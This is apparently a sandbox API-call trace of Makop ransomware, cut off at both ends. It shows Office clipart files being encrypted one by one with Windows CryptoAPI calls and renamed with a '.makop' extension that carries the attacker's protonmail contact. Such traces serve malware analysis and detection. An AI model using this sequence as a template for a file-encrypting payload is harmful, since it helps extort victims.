lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0131.685] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0131.685] WriteFile (in: hFile=0xf0, lpBuffer=0x48c0640*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c0640*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0131.685] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0131.685] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0131.685] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0131.685] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0131.685] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0131.685] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0x1daa, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0x1daa, lpOverlapped=0x0) returned 1 [0131.687] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0x1db0, dwBufLen=0x1db0 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0x1db0) returned 1 [0131.687] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0131.687] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x1db0, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0x1db0, lpOverlapped=0x0) returned 1 [0131.687] CryptDestroyKey (hKey=0x48c7128) returned 1 [0131.687] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x1e84, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0131.687] SetEndOfFile (hFile=0xf0) returned 1 [0131.694] GetProcessHeap () returned 0x48a0000 [0131.694] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbec8 | out: hHeap=0x48a0000) returned 1 [0131.694] GetProcessHeap () returned 0x48a0000 [0131.694] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0131.694] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0230553.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 110 [0131.694] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0230553.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0230553.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0230553.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0230553.wmf.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0131.695] CloseHandle (hObject=0xf0) returned 1 [0131.696] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x77652000, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x6607e0d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x77652000, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x1066, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0230558.WMF", cAlternateFileName="")) returned 1 [0131.696] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0230558.WMF") returned 63 [0131.696] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0230558.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0230558.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0131.696] GetProcessHeap () returned 0x48a0000 [0131.696] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0131.696] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0131.697] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0131.697] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ad8*, nNumberOfBytesToWrite=0xa, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ad8*, lpNumberOfBytesWritten=0x6577aa8*=0xa, lpOverlapped=0x0) returned 1 [0131.701] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0131.701] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0131.701] GetProcessHeap () returned 0x48a0000 [0131.701] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbec8 [0131.701] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40, dwBufLen=0x40 | out: pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40) returned 1 [0131.701] CryptDestroyKey (hKey=0x48c7128) returned 1 [0131.701] WriteFile (in: hFile=0xf0, lpBuffer=0x48bbec8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bbec8*, lpNumberOfBytesWritten=0x6577aa8*=0x40, lpOverlapped=0x0) returned 1 [0131.701] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0131.701] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0131.701] WriteFile (in: hFile=0xf0, lpBuffer=0x48c3e78*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c3e78*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0131.702] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0131.702] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0131.702] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0131.702] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0131.702] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0131.702] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0x1066, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0x1066, lpOverlapped=0x0) returned 1 [0131.703] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0x1070, dwBufLen=0x1070 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0x1070) returned 1 [0131.704] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0131.704] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x1070, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0x1070, lpOverlapped=0x0) returned 1 [0131.704] CryptDestroyKey (hKey=0x48c7128) returned 1 [0131.704] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x1144, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0131.704] SetEndOfFile (hFile=0xf0) returned 1 [0131.710] GetProcessHeap () returned 0x48a0000 [0131.710] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbec8 | out: hHeap=0x48a0000) returned 1 [0131.710] GetProcessHeap () returned 0x48a0000 [0131.710] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0131.710] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0230558.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 110 [0131.711] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0230558.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0230558.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0230558.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0230558.wmf.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0131.712] CloseHandle (hObject=0xf0) returned 1 [0131.712] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x77652000, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x660a4230, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x77652000, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x332a, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0232171.WMF", cAlternateFileName="")) returned 1 [0131.712] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0232171.WMF") returned 63 [0131.712] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0232171.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0232171.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0131.713] GetProcessHeap () returned 0x48a0000 [0131.713] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0131.713] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0131.713] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0131.713] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ad8*, nNumberOfBytesToWrite=0x6, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ad8*, lpNumberOfBytesWritten=0x6577aa8*=0x6, lpOverlapped=0x0) returned 1 [0131.717] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0131.717] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0131.717] GetProcessHeap () returned 0x48a0000 [0131.717] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbec8 [0131.717] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40, dwBufLen=0x40 | out: pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40) returned 1 [0131.717] CryptDestroyKey (hKey=0x48c7128) returned 1 [0131.717] WriteFile (in: hFile=0xf0, lpBuffer=0x48bbec8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bbec8*, lpNumberOfBytesWritten=0x6577aa8*=0x40, lpOverlapped=0x0) returned 1 [0131.717] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0131.717] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0131.718] WriteFile (in: hFile=0xf0, lpBuffer=0x48c0640*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c0640*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0131.718] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0131.718] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0131.718] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0131.718] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0131.718] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0131.718] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0x332a, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0x332a, lpOverlapped=0x0) returned 1 [0131.720] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0x3330, dwBufLen=0x3330 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0x3330) returned 1 [0131.720] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0131.720] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x3330, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0x3330, lpOverlapped=0x0) returned 1 [0131.720] CryptDestroyKey (hKey=0x48c7128) returned 1 [0131.720] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x3404, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0131.720] SetEndOfFile (hFile=0xf0) returned 1 [0131.728] GetProcessHeap () returned 0x48a0000 [0131.728] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbec8 | out: hHeap=0x48a0000) returned 1 [0131.728] GetProcessHeap () returned 0x48a0000 [0131.728] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0131.728] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0232171.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 110 [0131.729] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0232171.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0232171.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0232171.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0232171.wmf.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0131.730] CloseHandle (hObject=0xf0) returned 1 [0131.730] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x22d8c500, ftCreationTime.dwHighDateTime=0x1be1ff6, ftLastAccessTime.dwLowDateTime=0x565f5550, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x22d8c500, ftLastWriteTime.dwHighDateTime=0x1be1ff6, nFileSizeHigh=0x0, nFileSizeLow=0x6bc2, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0232393.WMF", cAlternateFileName="")) returned 1 [0131.730] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0232393.WMF") returned 63 [0131.730] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0232393.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0232393.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0131.731] GetProcessHeap () returned 0x48a0000 [0131.731] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0131.731] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0131.731] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0131.731] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ad8*, nNumberOfBytesToWrite=0xe, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ad8*, lpNumberOfBytesWritten=0x6577aa8*=0xe, lpOverlapped=0x0) returned 1 [0131.735] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0131.735] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0131.735] GetProcessHeap () returned 0x48a0000 [0131.735] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbec8 [0131.736] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40, dwBufLen=0x40 | out: pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40) returned 1 [0131.736] CryptDestroyKey (hKey=0x48c7128) returned 1 [0131.736] WriteFile (in: hFile=0xf0, lpBuffer=0x48bbec8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bbec8*, lpNumberOfBytesWritten=0x6577aa8*=0x40, lpOverlapped=0x0) returned 1 [0131.736] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0131.736] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0131.736] WriteFile (in: hFile=0xf0, lpBuffer=0x48c3e78*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c3e78*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0131.736] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0131.737] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0131.737] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0131.737] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0131.737] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0131.737] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0x6bc2, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0x6bc2, lpOverlapped=0x0) returned 1 [0131.739] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0x6bd0, dwBufLen=0x6bd0 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0x6bd0) returned 1 [0131.739] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0131.739] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x6bd0, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0x6bd0, lpOverlapped=0x0) returned 1 [0131.740] CryptDestroyKey (hKey=0x48c7128) returned 1 [0131.740] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x6ca4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0131.740] SetEndOfFile (hFile=0xf0) returned 1 [0131.746] GetProcessHeap () returned 0x48a0000 [0131.746] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbec8 | out: hHeap=0x48a0000) returned 1 [0131.746] GetProcessHeap () returned 0x48a0000 [0131.747] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0131.747] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0232393.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 110 [0131.747] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0232393.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0232393.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0232393.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0232393.wmf.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0131.748] CloseHandle (hObject=0xf0) returned 1 [0131.748] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcaa1c300, ftCreationTime.dwHighDateTime=0x1be1ff5, ftLastAccessTime.dwLowDateTime=0x660a4230, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xcaa1c300, ftLastWriteTime.dwHighDateTime=0x1be1ff5, nFileSizeHigh=0x0, nFileSizeLow=0xa086, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0232395.WMF", cAlternateFileName="")) returned 1 [0131.748] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0232395.WMF") returned 63 [0131.748] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0232395.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0232395.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0131.749] GetProcessHeap () returned 0x48a0000 [0131.749] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0131.749] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0131.749] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0131.749] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ad8*, nNumberOfBytesToWrite=0xa, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ad8*, lpNumberOfBytesWritten=0x6577aa8*=0xa, lpOverlapped=0x0) returned 1 [0131.753] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0131.753] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0131.753] GetProcessHeap () returned 0x48a0000 [0131.753] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbec8 [0131.753] CryptEncrypt (in: hKey=0x48c7128, 